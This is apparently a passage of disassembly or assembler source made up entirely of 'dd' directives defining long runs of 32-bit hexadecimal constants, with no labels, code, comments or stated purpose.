		dd 0A26E917h, 0C169A649h, 2BB78BBDh, 3F5FB6CEh,	8D7184DDh
		dd 63A2CE39h, 0E16CE35Fh, 1F9259E4h, 14B438A6h,	3DD73240h
		dd 0FF4C437Ch, 0DA683231h, 6C0F2887h, 0DA3893CDh, 2B56137Ch
		dd 0C71B9093h, 1FAD9138h, 4121F81Fh, 96FD6BF9h,	561BD9E4h
		dd 4A802F57h, 0CF531B69h, 0CD7CE761h, 786F9DE2h, 0FF135138h
		dd 2BF21573h, 1ABAF4B4h, 0DC81C91Ch, 324AB098h,	1274E5C7h
		dd 9D545C9Ah, 0D03B2FA5h, 0F85F2006h, 2E54EE4Eh, 496FDCEAh
		dd 79EEF71Bh, 9710052Eh, 71EE90DEh, 9DDD6543h, 0BBF8945Bh
		dd 4653E8F7h, 81B6C85Fh, 0DC640430h, 0F5D6A008h, 885F966Eh
		dd 0C3EBD557h, 0F6715D37h, 9170CF2h, 78ABE7D4h,	8FF08909h
		dd 0A6335E0Eh, 27B1EC8Dh, 0B1CB79DBh, 0DF51413Ch, 434E2E09h
		dd 0FF05C77Dh, 51F578FBh, 47ECEE6Bh, 73AAE48h, 8655237Dh
		dd 11FEF85Ah, 992A80AAh, 0AF6F1D9Eh, 90D3C493h,	8E6696ABh
		dd 58289578h, 98CDBC00h, 219D3642h, 153FBF7h, 0CD522A08h
		dd 0CF2CC543h, 1478B137h, 5E652196h, 48921593h,	0B008FC8Bh
		dd 22A89D64h, 0E6A05FF9h, 0A6067561h, 0C5214178h, 4EF8EC6Bh
		dd 8F0A3BCCh, 0FB5A47D8h, 2EEB6564h, 0EE40A3A4h, 888E960Fh
		dd 8DB99339h, 8306710Ah, 0F7493A34h, 0B5C4FB47h, 0BCDD0184h
		dd 6FB9809Ah, 0CDEB9B2Ch, 358673E5h, 10F78CA7h,	2480DBC3h
		dd 6019A333h, 0EB29653Ch, 0B92565EFh, 5B8CA124h, 186BF2Bh
		dd 1B858CC7h, 3AA4EA82h, 8F345D4Ah, 0CE5CD389h,	0C0246964h
		dd 32AA9235h, 9BF4A217h, 7B58064Fh, 6194C5F2h, 103C5FD8h
		dd 0B6E2CEEEh, 6AA75707h, 3784F20Eh, 356CF0BAh,	0BAA5BD0Bh
		dd 0CC1ADB6Dh, 0B5CDDF1h, 0EF9A636Dh, 224472DAh, 52668A35h
		dd 834CC939h, 5144E79Eh, 591394B7h, 450F2A8Ch, 5B65CF3Bh
		dd 61EF66FCh, 3844F536h, 23924A85h, 71662CADh, 3C9F858h
		dd 8FBEFC52h, 0FE22C36Ch, 6E50868Eh, 0EE69C9A6h, 0D7F4D1BEh
		dd 3BD08B45h, 0C8DD9ED1h, 0B8A25603h, 1B83A2DBh, 599FB3ADh
		dd 0F3FFA032h, 21480788h, 1D50B614h, 0E399DC1Fh, 0C25F24EEh
		dd 0A43B56D9h, 0B0150744h, 2EAB8CF7h, 0EED4A732h, 0DF5A84C9h
		dd 0C3690EFEh, 0BBE6CDE5h, 3DF14CBAh, 0A0F93069h, 0D7EBC662h
		dd 0F9C5F1E7h, 0BE76DEA9h, 0F82D8CD0h, 78CE3BAEh, 0A7245A7Ah
		dd 0B6F54718h, 6630643Fh, 0D0A31890h, 2B0EA351h, 236670Dh
		dd 0A5362175h, 5D082A8Ch
		dd 0E53F214Dh, 6A9C12EFh, 7D88C176h, 0C7E96A3Eh, 767A1396h
		dd 63F6D64Dh, 0F4AC6FA1h, 0A995916Ah, 4D2F39B6h, 3ED3136Eh
		dd 8E907293h, 9B829FBEh, 0D0EC973Ch, 65B50367h,	0A09B91E7h
		dd 70ECD1D7h, 818087FFh, 0D252FA44h, 0B675EE5Dh, 198E1B98h
		dd 0A0CFB618h, 58D3E13Bh, 0B7EF4250h, 5984441Dh, 8BF6EB9h
		dd 0C6953472h, 77914878h, 2930269Fh, 2E22B3E7h,	9895A101h
		dd 0FB88F343h, 67265BF2h, 2ED173E0h, 588573DFh,	0FFDB12BBh
		dd 61EA648Eh, 5A96A6E5h, 0B289CEC6h, 726F8C27h,	41295F25h
		dd 0B7AFBDCh, 0ABE6073Ch, 2F1DF58Dh, 0C7119CD6h, 594E4B1Fh
		dd 0EC96F329h, 0EBC9168Ch, 3FFCCF6Fh, 0E76A6D55h, 36583D52h
		dd 4076E5C0h, 43AEB6Fh,	54E360CCh, 1A0E5266h, 544340F2h
		dd 2103B30Ah, 0E3EBD15Bh, 0C93823A3h, 6E81CED0h, 6C82444Dh
		dd 1D6627D3h, 21B77E37h, 0AFD26572h, 7F7E76B2h,	63A86B9Fh
		dd 8894223Ch, 738C0DDFh, 0C0087CFEh, 0DD5D4FD7h, 0B7E5C62Dh
		dd 0D21A1602h, 0CA30942Fh, 64CC11A0h, 0F34CEAD6h, 0C43939D6h
		dd 0F0F9B2Eh, 0D9D1876Ah, 0F4138F4Ah, 77BBDC88h, 0E8640E4Eh
		dd 39ACD2D0h, 90845A91h, 8A5D34C5h, 68548215h, 48F36E70h
		dd 8C6E9ECh, 0F2E45307h, 0C1C63923h, 0E5F7B558h, 9E8C6C67h
		dd 60642197h, 853CF793h, 0A8125DDh, 3CCD99D7h, 0CFEEB539h
		dd 484EE577h, 388019B9h, 4998DD57h, 5F5D1888h, 73738AB7h
		dd 726E413Bh, 4B9C0F50h, 670B1811h, 49730EDDh, 0EB38F7C4h
		dd 33A3398Dh, 0DECD8952h, 8D050151h, 1D34F371h,	6EF1B226h
		dd 3F73F9C3h, 8C5758DDh, 8439AF8Ch, 111C82AEh, 0D6D39DAh
		dd 6993351Ch, 5B29B021h, 858E61C8h, 40C6FCCDh, 7DD0C4FCh
		dd 0B27E4493h, 1F983C41h, 2D37A833h, 8DCC4F97h,	14C6BF0h
		dd 8E6BEE55h, 517D5623h, 678FB3F3h, 0C72A245Ah,	0F0415328h
		dd 61275342h, 0A9354639h, 4FF626C3h, 8139911Ch,	3FD856F4h
		dd 0BC22ECBh, 0D2CAC6B5h, 11C13D51h, 0B071A7CCh, 0B3212B21h
		dd 18F24049h, 59AB4B65h, 0C8DA0844h, 0FEF5A84Bh, 167455B5h
		dd 0BA91E871h, 0D45CAD5Dh, 681C423h, 0FD4F7361h, 6615715Ch
		dd 4493E87Fh, 650C77Ah,	2D73A852h, 25C81128h, 2FB95052h
		dd 3A6530FBh, 0ED12B7D9h, 3D8B85FFh, 358CE1E6h,	0BB93F1B8h
		dd 0A91F5C32h, 99F89381h, 0A1C68C9Bh, 5BEFE1ECh, 0EF5E430Bh
		dd 41D965A3h, 6F24B5AEh, 0DE228295h, 693C8458h,	0E7CE22B5h
		dd 7D0FB773h, 0E40D0A08h, 5318968Dh, 0FAC33A65h, 2A22A1F7h
		dd 0E4A72D49h, 0BD9759BAh, 0FE4D2195h, 0DFE6136Ah, 21192C0h
		dd 0B7D91264h, 37F4B116h, 4D8AA5D3h, 47EA357Fh,	0EF356802h
		dd 0A920CB39h, 427E1E96h, 0ACFEB3D7h, 31B73400h, 0A1FDE8F1h
		dd 6859CD5Eh, 48BD5A4Eh, 0A04A95E7h, 0CEC36702h, 0CB7B4E44h
		dd 0F240B19Bh, 61D7D044h, 23246D7Eh, 0B251835Fh, 0C8C01258h
		dd 0A022CD0Bh, 9E668B8Bh, 0C453AFE5h, 525ACDF7h, 22DE5BF7h
		dd 0F97E69A3h, 10586B86h, 0B2851D9Ch, 5B954B03h, 0BC7B7879h
		dd 66319DDBh, 0EB13BFCFh, 0F647D319h, 0B4F39EF0h, 0BB1286B8h
		dd 9AE062DEh, 9ED23122h, 0E3664C50h, 8651A175h,	0CB51596Ch
		dd 0F5243D5Eh, 0ECC2DEA9h, 5B598410h, 7DFF0DC7h, 266827CCh
		dd 79719C30h, 5D4E7151h, 123061F6h, 18593128h, 77642157h
		dd 0C086A056h, 27289294h, 0CA8F44A4h, 228D5385h, 0C7105EE1h
		dd 43208ECEh, 0CDB11F68h, 2A80A2EAh, 70F560DAh,	18D8C68Dh
		dd 0F5BB5CDCh, 321F3B5Dh, 820D53D2h, 69767187h,	5A8753F7h
		dd 629D36B5h, 0B6B3101Dh, 9E8608DBh, 5807C6FBh,	0ED301366h
		dd 0D678BDF4h, 0B720C648h, 7B452354h, 0E422459Bh, 4076B35Ch
		dd 7541233Dh, 53559716h, 24870598h, 6FF96FC0h, 0D71274EFh
		dd 849C8614h, 0CE02F695h, 0A69B4328h, 0A3FE99B5h, 212898F8h
		dd 5D04084Dh, 4440EEC8h, 560DC01Eh, 944E7F4h, 0D59FEF1Ch
		dd 0A8EBE90Ch, 0C9544CC0h, 0C2B76736h, 83D588FDh, 0B3A9DA0Bh
		dd 888EC1BFh, 8DC0DA21h, 566763Dh, 4341AD4Dh, 5BB55A98h
		dd 0BBEFD20Dh, 38C1DB7Ah, 0D7B92815h, 922BE87Bh, 714C8B87h
		dd 0B4998EE9h, 0D15F6A48h, 44BD0BC1h, 8E8D3D10h, 648EF158h
		dd 0EC5884BBh, 505A59CCh, 0BEDD965Fh, 401B8DD9h, 9B00C721h
		dd 16509B9Fh, 8D37A5FAh, 0F29DFD7h, 4CB87CB2h, 5671ED9Ah
		dd 15BB1045h, 4F82AA7Bh, 1E735227h, 0CD6AC7DEh,	0B8B125EEh
		dd 0C5EA85D9h, 0A9E803D9h, 4628631Bh, 0FB75542Fh, 7747A1A2h
		dd 9EFC88C2h, 8C4E128h,	0C67CD681h, 0A7709A73h,	0CF3A01B1h
		dd 81C94D4h, 0E74A2DAAh, 0F06FBD8Eh, 33234260h,	8C93E357h
		dd 8515D6BDh, 9520EF3Ah, 0AC404D83h, 2ECDE1C4h,	0D466EC3h
		dd 2BC70976h, 9800A341h, 68161519h, 0CFB0BEFFh,	93A4376Dh
		dd 9954E76Ch, 3F05E75Ch, 45EBEED4h, 60F3112Eh, 645C25EAh
		dd 7C26024Dh, 7C39F5Eh,	95AC20D9h, 0C56888A1h, 7D908EE4h
		dd 94FA20C8h, 660CAFF9h, 9A10C496h, 8248A422h, 5CB574EAh
		dd 65CD4A7h, 0DB548440h, 0D084E04h, 0A3371932h,	0A64BD607h
		dd 0C8BAA189h, 1F5E63Dh, 503887B3h, 1CAC09Eh, 4CE965AEh
		dd 0B873EBFCh, 0AB2D518Ah, 0BD3787F1h, 0ADE675EFh, 723AF4E8h
		dd 0B8CAD922h, 2B81D803h, 0AFF2FB1Bh, 0A5FBA675h, 0B7F27B96h
		dd 0C8093EE7h, 8469A920h, 7CD87A74h, 65C706Eh, 7E1A9A40h
		dd 0FEC8B0E4h, 0B5A2350Dh, 6E3D5266h, 514C2DF3h, 0C63A0F7Eh
		dd 1CAAB1ECh, 0FDD65204h, 1BB959C2h, 987BAC8Ch,	0BEB571CFh
		dd 0E81790DCh, 0E5C9989Ah, 0DF3552D0h, 0C7DE9DB1h, 5C37E7A7h
		dd 21067F5Bh, 53BEFE66h, 0DCC0452Ah, 161FED99h,	0A8225ED3h
		dd 2C7FA106h, 7C7512E7h, 890B09ADh, 0B637B58Ch,	110A3EDBh
		dd 2E49AD49h, 448665BAh, 827049BBh, 0E867C656h,	524D740h
		dd 92BC54EDh, 0A88388F1h, 28718E32h, 5592CC1Ch,	0D0810A71h
		dd 71610CF5h, 0CB77D832h, 35F087CDh, 0F7C262Ch,	3BAA9AAh
		dd 0FA863380h, 6AA746A0h, 59BBD4B0h, 0E20A4880h, 0BC3D63BAh
		dd 97E0B76Dh, 0C9BB8AEBh, 7ECF3F36h, 0DB88159h,	9962A998h
		dd 2FFDCCACh, 0BCD9FAFh, 2358F334h, 0DA3BEE43h,	0EFDF75C0h
		dd 789CDECh, 0C68D83C1h, 2204AEBh, 4015067Dh, 552FE1DBh
		dd 56A7FDD5h, 0A9C49A48h, 0B086B80Eh, 3D93C36Ah, 0B544AF6Fh
		dd 0A55D84F6h, 0B6F6894Ch, 0BDA57D66h, 9D27A646h, 4F645E1h
		dd 60BE7468h, 5748699h,	0E1BDA1FCh, 94C58A40h, 0DC326C4Eh
		dd 8A69450h, 164D10FDh,	144E9EB4h, 952E90CBh, 0A713D21h
		dd 0F1B1F951h, 9BD1B1DAh, 1FDDA345h, 7C3D5580h,	7A7941F2h
		dd 3A26D8EAh, 151D4939h, 0B55FF1A8h, 0EA511E38h, 5CAF2B50h
		dd 3F7B59CDh, 48DAC24Fh, 9B4631BEh, 4E6C8EB5h, 9B8FE1CAh
		dd 7B3CB3E7h, 34438CE3h, 0C8E198A3h, 2EE96757h,	0AA5E8B97h
		dd 7D290769h, 1B4CF6h, 1A04E8Ch, 0EE3AE467h, 9C136333h
		dd 24398DE7h, 349DAA8Fh, 3D9AD69h, 5B5A8B8Eh, 0C9DEA2F7h
		dd 0BB0E0468h, 0D4020125h, 8E78D7C8h, 38B2D171h, 3DC839FFh
		dd 545916D4h, 0C336E986h, 0E5D04275h, 3B74ECEFh, 0E7C88140h
		dd 6CF2E4F6h, 40E61BF9h, 84A67094h, 9EAF733Bh, 0B142A470h
		dd 0A756370Bh, 0C8B7F0FCh, 8016F75Bh, 66842621h, 78222316h
		dd 24613A14h, 2A146126h, 8ECF40FCh, 5D2F26CDh, 69AD9198h
		dd 0A394A8F2h, 1CC97F70h, 13964E7Bh, 0CADAD030h, 60EB95AFh
		dd 63553984h, 0C6CB6B8h
		dd 53920453h, 84F5B04Ch, 0AB0F4427h, 54E14477h,	347218CFh
		dd 0E96D51FDh, 5D267F25h, 3FE3EF1Fh, 0F680E99Ah, 9E2BEA02h
		dd 2BB92D00h, 6D836865h, 0C25269B0h, 9F6F6822h,	0D8B81BB7h
		dd 6BD978D5h, 0A2AAB66h, 2736578Fh, 0C61A9F9Eh,	0C2F9C0BDh
		dd 18B36DEBh, 0A88A6B25h, 7902B367h, 9038676Dh,	13050B8h
		dd 0DDCCEF2Bh, 1B0373Dh, 0BF18D291h, 70DBEE9Fh,	8ED9B32h
		dd 0EEA8ABBCh, 0DF3CCA51h, 8623834Bh, 9D8481EDh, 0E0E0C23Bh
		dd 0AC675424h, 0C5E98348h, 0AFD5D19Ah, 0F98CEF54h, 0A451AD09h
		dd 0B4B2FEE0h, 41E88D92h, 41ECFC47h, 0BAEA46CBh, 0C6CCD626h
		dd 394C657Dh, 0C8E2027Dh, 5775E951h, 3578A44h, 1D0715FEh
		dd 88CD69F2h, 0ECC740BEh, 785F79DEh, 0BFCA338h,	2F93B65Fh
		dd 954A12F2h, 0E9236DF2h, 8FE61DCAh, 950D9994h,	2DE5D084h
		dd 0B461AA95h, 376D6B7Ch, 26267044h, 96CC5CC0h,	5A79B2BFh
		dd 9B5E6820h, 947DBDAAh, 6C563C49h, 0C152D1Dh, 7724C191h
		dd 0B3AC34F6h, 8B3CC57Bh, 0B9706134h, 1558915Ch, 1CD1D9D0h
		dd 0DE81482Bh, 62C7B5E0h, 0CB364D11h, 0B914A2C3h, 2789DADAh
		dd 1858BAAFh, 0A9929932h, 0F76FBFADh, 1C769AC2h, 4E925709h
		dd 7E263C7Bh, 88FF93F7h, 7FD613C8h, 0C6E85154h,	0A09339CBh
		dd 0FC204A6Ch, 5F5B639Ch, 0AB09A181h, 0F5FD78h,	8207F1B6h
		dd 0ACBB1BD0h, 40CF7E0Ah, 9233B47Fh, 38334E3Ch,	3C55EF36h
		dd 0F89F607Ah, 0B6F4FBC0h, 3573FAA4h, 5BED3483h, 28F2433Fh
		dd 19F2E1EFh, 0C2848C5Fh, 1553E86Ah, 4E403FD7h,	0BEE5380h
		dd 0E4470F33h, 0CE2F9EA9h, 0A71F4F40h, 1F4C920h, 0DFDAF8CEh
		dd 0E1A8F595h, 0CC3C5EDCh, 0CAE2E82Ah, 0C33B9541h, 0CA9CC346h
		dd 6AA8D74Eh, 8FE237CBh, 0BC6F194Ah, 0DE7F3A10h, 961FFD73h
		dd 8BA48C01h, 0A4B8CFE3h, 0ADA0BABEh, 360BFB62h, 0A02EA3Eh
		dd 894B1B91h, 0A0F10E8Fh, 0CB78CD40h, 0A3697F21h, 0B698D388h
		dd 0AA5679C5h, 34979D8Eh, 2B2C9B5Ch, 39D1710Ch,	9350AEE1h
		dd 612FC0BFh, 9C60EE56h, 0C6D909C6h, 5E32045Fh,	657383EBh
		dd 0A1351D72h, 1AB06C2h, 94298CB5h, 6875681Fh, 2A6DB6E5h
		dd 8A349C3Ah, 0C636BE74h, 973D104Ah, 3D4C4EE8h,	6C04E8F0h
		dd 476CF812h, 10FCE89Dh, 2414D1C8h, 0B61F77DCh,	77710CBBh
		dd 0FF31A7CEh, 0D8E0A40Eh, 10A129E1h, 3FC9958Fh, 0B22E04E3h
		dd 61576A92h, 7F86572Ch, 19BC1CA7h, 4E70AB5Fh, 9CD4BF0h
		dd 918EF243h, 2B103E5Dh, 2D44FA93h, 941E9AACh, 0A67D0AF7h
		dd 2357A278h, 817810EAh, 0CFD3CCB4h, 40E8AE80h,	9C10E245h
		dd 5EEEF60Fh, 6ED97781h, 0DF8201F1h, 48154A41h,	2B9D2F1Bh
		dd 86E24774h, 0E8589073h, 0C410BDEDh, 0E6D4648Bh, 4162E2D4h
		dd 0F339B2AAh, 9E789E66h, 0E3C9D722h, 301BF778h, 234823B6h
		dd 74A6B1A1h, 31C302CFh, 6E3680FDh, 6EDFD945h, 4EC80CDCh
		dd 62A313DEh, 1E9856EFh, 65584999h, 0DB62C2CDh,	0DEF5FC32h
		dd 0D5058D7h, 0EBC979B7h, 83CFD38Eh, 9E0F55A5h,	4F502202h
		dd 0B5671B47h, 392926E5h, 5307D207h, 0F1870220h, 8A19F7B7h
		dd 76027A21h, 42D4520h,	61178DE6h, 9ABBCA7Bh, 22779EB6h
		dd 20C4549Eh, 0BB801D0Ch, 4CCCECD2h, 94CE5C77h,	0D5E9736Ch
		dd 9939673Eh, 43C8A756h, 0B267DA36h, 5E99A94h, 6BBC4820h
		dd 0DFB8DB1Dh, 3DA29906h, 0AD82B3B4h, 85506578h, 78264469h
		dd 0A55564DEh, 0E10B52B6h, 319C4A12h, 62CDC58Fh, 0F7EAF189h
		dd 8BBDBC20h, 1E714879h, 3B9F3B2Ch, 0B2FE95E5h,	0AE35FFACh
		dd 671C8127h, 0AD9DDB2Ch, 884DE8E7h, 864E49B1h,	0D20BFAA2h
		dd 9F095769h, 9AE8D1F3h, 1FDEDEB7h, 53F02350h, 7BEDCE59h
		dd 55B68DC5h, 7B1F0121h, 8774BBD7h, 3CCAB2BCh, 1A15B264h
		dd 0D1FBA891h, 0C1A7BB6Fh, 0F8E74259h, 0D3A319AEh, 0E5C81F22h
		dd 0FE5C0EB7h, 46FBF513h, 924DBD2h, 0DAD32314h,	0A1898B47h
		dd 18FA2DA4h, 32B8E686h, 3437F754h, 0C88F9466h,	9EAB5C88h
		dd 0B7C7B754h, 3D676FEBh, 0B8F70EC7h, 95DE2FF3h, 5A2CF6BEh
		dd 66BEA1F1h, 503C7B56h, 36928013h, 4B421B5Eh, 0FAC43CD3h
		dd 1D330E98h, 0EA1628B7h, 9C760FF6h, 34D8C49Fh,	8BBC1993h
		dd 1E0127BFh, 57AC4C3Fh, 5753D128h, 979D8CDFh, 0A7DF1D73h
		dd 0B7DF26DEh, 354BBBCh, 513C366Bh, 0F5D44A34h,	6BF544CAh
		dd 0E5295A4Eh, 0B7C1441Bh, 62B543F3h, 7376804Bh, 5CA31CBAh
		dd 0B97F5E8h, 2685E140h, 74AFF453h, 6B8BF639h, 4B1382Bh
		dd 0A013D09Eh, 47A3920Bh, 9B5BB417h, 431848BFh,	1F537C4Ch
		dd 0E9A4879Ah, 0C2EF7CE9h, 8029290Ah, 17ADAC42h, 760E1DCAh
		dd 8C70B91Eh, 9CB82522h, 7321F939h, 8AD5BC33h, 983EC6F1h
		dd 0F18657FAh, 0BD81D6E1h, 0DCA4CDF1h, 6A33446Fh, 0B63F045Ch
		dd 37AE0C82h, 0AD0C7452h, 0C2CACAh, 7742D248h, 0E03210D7h
		dd 7B5D6DF6h, 4E685F9h,	776986h, 8E16A4B4h, 375B64Ch, 2FA6A76Eh
		dd 0FDFCE2E8h, 17474D86h, 0AD67A82Dh, 7233698Eh, 2AEDD404h
		dd 60D0D5EFh, 444C2A81h, 19FCCB89h, 0AD97710Fh,	8F0E0ABDh
		dd 0B6D6CAA8h, 0B199D025h, 12E018F5h, 0AA2681C8h, 19FA90FCh
		dd 0EC7E3AB6h, 3C2347ABh, 0ADA9239Ah, 0D8205B72h, 7EF91026h
		dd 0F76AB82Fh, 9F68B62Ah, 0D5DC8C96h, 0D7FBEC4Dh, 5625CE68h
		dd 28A4CD4Ah, 65C4D069h, 3D102A13h, 46F6D2D8h, 30FE904Fh
		dd 0C3D55203h, 0AF1380Ch, 66D785Eh, 9B67FA9Ah, 0A0FC8EAFh
		dd 6B659AE5h, 91948275h, 3C27FCB0h, 90B20887h, 647418D1h
		dd 0BAE98B83h, 862DC21Fh, 0AA5C41E3h, 0F7DC9749h, 0B2C90852h
		dd 0F1E16FFCh, 0E8C5BEDh, 5543B8B2h, 62A730C0h,	0E0436A4Bh
		dd 42C16C31h, 5A8F594Fh, 2C89B4D0h, 0A5D7E579h,	1A50891Fh
		dd 0D5B7339Ch, 0C77ECD9Ah, 320E0C8Fh, 0DF2441F3h, 596B340Dh
		dd 993ABEA0h, 595C2E90h, 474B180Eh, 3F32CE1Eh, 26C205Ch
		dd 0D923ABF4h, 883435B5h, 0A6C5DB02h, 0A3506465h, 6C5B0A63h
		dd 29F955CDh, 0AB18974Ch, 824BE216h, 1B630B2Bh,	0D380F36Ch
		dd 7F7A5947h, 459DB042h, 0A454E736h, 57E0DBC5h,	8B8A5B92h
		dd 7408EF98h, 0C371F046h, 0B68743C4h, 5F2C1012h, 77A3416Ch
		dd 1ABA4DB2h, 0CB305E4Ah, 0CC8B5F03h, 0F83F6C8Bh, 0E1E83940h
		dd 4BB9883Ch, 576AA7A5h, 52FF528Bh, 0C487CA37h,	5F8FBD8Dh
		dd 5297DEAh, 0F202FB26h, 0DABCB513h, 334A1572h,	0CC7A9BD5h
		dd 22266BD3h, 0B701982Eh, 5476ACF6h, 0D1D3FE28h, 8A91B213h
		dd 0C1D1BAB2h, 0B9295C48h, 13B72FD8h, 8D2FE1D7h, 9A95D787h
		dd 281FE6BBh, 63003E72h, 3157CEACh, 89BC75B4h, 30ECA46h
		dd 0B4093ACFh, 0D69A779Ch, 1B7754D4h, 18D3B54Eh, 0D802E13Ch
		dd 0A844085Eh, 2616AD16h, 0CD2EAC55h, 895E3496h, 294FCCDEh
		dd 80D638AEh, 0C43BA97Fh, 0F7FD0CDDh, 839A2BA7h, 1A82AB0Fh
		dd 0E2BFC176h, 0C74CDAA2h, 0C3B7DAF2h, 57FFE7FCh, 0E6C4942Ch
		dd 5BECF47Ah, 56FA7396h, 0CE1C16Bh, 0F88FE525h,	0B546DBAEh
		dd 11187B8Eh, 0BD8FBDD9h, 3E025A2h, 2CAE4E99h, 5B5B9951h
		dd 2946B0EBh, 89F893B8h, 0BB54AA1Ah, 6078B164h,	3D4AC80Dh
		dd 0B67277D7h, 211EA228h, 1AAE018Dh, 7844967Bh,	6A2F5A81h
		dd 1C3C6E52h, 0E17E8294h, 0A6DA842Fh, 98848753h, 0F347BB6h
		dd 2CAD9F86h, 0DC1A7BDDh, 9C1A59F8h, 5F982B08h,	6F0215CFh
		dd 0D057B065h, 1C2219E1h, 7D5A548Bh, 47CA89DEh,	179279BCh
		dd 0B2655676h
		dd 8BECA6D4h, 0D43657D2h, 0AFCAE6B0h, 2105F734h, 353D2A56h
		dd 0F7B7D203h, 6FA7C735h, 4ABB8A75h, 633566F2h,	0B63A2105h
		dd 51026288h, 0D852A6FFh, 4EC595D5h, 5E63CDD1h,	3123CC1Ch
		dd 5122DD7Bh, 14B21114h, 0B2F8A0B7h, 963AA202h,	0E9C55AECh
		dd 0DDB7ED13h, 68A82947h, 4B0508D8h, 0C26DAF57h, 0A952E250h
		dd 27DA27CCh, 2DF45F2Eh, 54B2E587h, 7A49027h, 0BCB9F105h
		dd 0B5A449D5h, 54CA9D16h, 7630E737h, 8F6A6D98h,	0A6512090h
		dd 0D7FFB3D5h, 1AE57190h, 44C7119Fh, 0D3DE9A71h, 144F08D5h
		dd 0BE49B0A1h, 2DD65E49h, 467E08A4h, 90010480h,	567C5F3Eh
		dd 6F972F15h, 1797DE31h, 95095C4Bh, 7D6A252Dh, 129D8BE8h
		dd 206338A2h, 47A2582Ch, 751533B1h, 80C4494h, 0A4CBF36Ch
		dd 9DEA89E3h, 48AD27C3h, 5C21D170h, 0ECB007ACh,	10882B8Eh
		dd 0E37E9676h, 68A32144h, 699A6BF5h, 0A3D32326h, 0BBEAD25Ch
		dd 0D30B0315h, 38A33785h, 6B6E7289h, 0FA297923h, 47B6A0D6h
		dd 0A39F59F8h, 4A69904Eh, 0D14921h, 6E6943D1h, 14FC773Dh
		dd 0D1EC37F7h, 167899Ah, 5316FA5Fh, 0A3C5F7B4h,	65A7D8E1h
		dd 5E97DCF7h, 0C2181224h, 0F8CDDD5Fh, 36F9882Fh, 39703860h
		dd 51EDB14Eh, 826C0715h, 3C626FC9h, 0D3926349h,	95BB3E7Ch
		dd 8838B6FDh, 1675DB6Dh, 3045B8E1h, 9254FAF6h, 7CAE06E2h
		dd 74D3E14Dh, 582ECE1Dh, 0EAE1A11h, 0B6021EECh,	7A0153B6h
		dd 660FAB6Ch, 2A949551h, 105509D6h, 926E14Bh, 0A7A546FBh
		dd 11FA2C1Ah, 1C65CFC1h, 4FE53172h, 6C91E17Ch, 8E80480Ah
		dd 0C9A0E29h, 0C2D0FA32h, 0BF8E1CF0h, 36C7C817h, 4DD32E38h
		dd 0EA8749D3h, 55FC441Ch, 0D5FCD469h, 5D993C1Ah, 4E2D0019h
		dd 18D48BC0h, 287ACBDh,	5C320B57h, 0E250E83Bh, 8817FAF2h
		dd 30ADEC58h, 0A1773909h, 67C772E5h, 156A562Dh,	0C324FAABh
		dd 0AC600F11h, 3C269895h, 9FA3469Eh, 0EA807F75h, 0F8381044h
		dd 52C75371h, 284E52F1h, 0F64252D9h, 0E386F4B1h, 3AA42207h
		dd 6DBE4FC3h, 0A58302B2h, 0F7385CCCh, 0D88799B2h, 30F3D6DCh
		dd 0A552FE73h, 1B33EB91h, 9E8172CAh, 0BC41307Eh, 8CF5451Dh
		dd 0A26BBC0h, 0E18B1787h, 4FDF09B1h, 0B763D111h, 5AC1E856h
		dd 0E2E6FBB6h, 4C5036D1h, 0B5BE9CDCh, 0EF8AC229h, 0E6B7826Fh
		dd 3CEEAAD8h, 66363752h, 31477821h, 0DEFBDD5Dh,	0F5D32FF8h
		dd 0F7AF8292h, 0BC070574h, 0B61A8ABBh, 9CD649D8h, 650F6C92h
		dd 0B111CB17h, 936AA28Fh, 35AFDD7Dh, 0A0C68FFDh, 0DA755982h
		dd 96FB9A8Ah, 59C40BDh,	16F6B34Fh, 76983A05h, 0C9958CC5h
		dd 22EC584h, 633220A0h,	9DCB4312h, 20A96159h, 7E0DF7F6h
		dd 0AAB068F2h, 47171430h, 0DBA43CEFh, 70106A70h, 7F3FD3C8h
		dd 823ECDADh, 418BE26Fh, 0FFAD6275h, 5197A146h,	53DAEE34h
		dd 2D611C0h, 2DF22209h,	0B4B2BEDFh, 1D9AAEF4h, 73DFF59Bh
		dd 0F5A57D8h, 0A065695Bh, 3B6762FDh, 6708820Fh,	0BFF0F4B5h
		dd 691E29FDh, 4B12DE6Fh, 889B6F8Dh, 0D72EF234h,	0CBE7782Dh
		dd 1759477Fh, 0A2FC2F20h, 0D4B21F8Fh, 0DF9AC4F5h, 47B4C654h
		dd 993955ECh, 7C1B55D4h, 6051D351h, 0D5CC4352h,	0E2698061h
		dd 0CADD9057h, 0FBC831B1h, 0F1607124h, 0A065238Dh, 0BA406976h
		dd 1509A789h, 4B5BAAAAh, 0F8E4368Dh, 211E54D4h,	335733F2h
		dd 30941D1Fh, 0B7FEAFA5h, 238F48C6h, 0C7F59011h, 134E2A03h
		dd 72DFAF2Eh, 9B5FE9EAh, 0A3A93965h, 0C823F00Eh, 0F2B4564h
		dd 0BCC6DA2Ah, 963C96EFh, 974037B2h, 0FF8776D3h, 476FA93Bh
		dd 0D736F6D8h, 19F0AA11h, 0E5E34F63h, 56238937h, 0C012AAACh
		dd 225DAA79h, 79D9E2EFh, 1E7757D5h, 0FEC6744Fh,	7BCD241Bh
		dd 35756D5Ch, 89444D3Fh, 1D3529CDh, 0EC3D15FEh,	41818B16h
		dd 0E6EC50C8h, 0C5DDAEDDh, 0AF51FD7Fh, 0E20A38h, 0F070AB7Dh
		dd 0E03A469Bh, 42886574h, 0AF34DA68h, 2F46CCFDh, 2EB47FE5h
		dd 50B0101Fh, 1441E8DBh, 0D85BDFACh, 31761B8Ch,	0AD22CE4Dh
		dd 7046111Bh, 4A4AE79Bh, 0C0349C31h, 0A24AAE7Ah, 11DC467Fh
		dd 833FFB7Bh, 46C7F864h, 0D229F803h, 5EB74248h,	0E9FCF28Eh
		dd 0F6923D35h, 0F544A982h, 0C4FE9B53h, 7BF01C7Bh, 16FEC787h
		dd 0F006D64Ah, 6ED69F72h, 0EF0B0A10h, 8DE8636h,	905DD9FBh
		dd 57B4AB7h, 7A702209h,	25E8ED69h, 0CE4C870Eh, 46E3F80Bh
		dd 0BBB4283Fh, 9EB9CAF5h, 629A7A58h, 3149037Bh,	1588DF1Fh
		dd 6B34A00Eh, 0A1B5A358h, 0D7D714F6h, 7E5FA151h, 334F9190h
		dd 0C13B9C3Ah, 6D2B72D5h, 0D7D3EB4Fh, 28A7AEB9h, 34599798h
		dd 8AF1334Fh, 557AF6AEh, 6CD18BA3h, 0B14EA621h,	436272DEh
		dd 10B4902Eh, 9DBA1F9Dh, 7F3D1572h, 0ED30C9D9h,	964048C0h
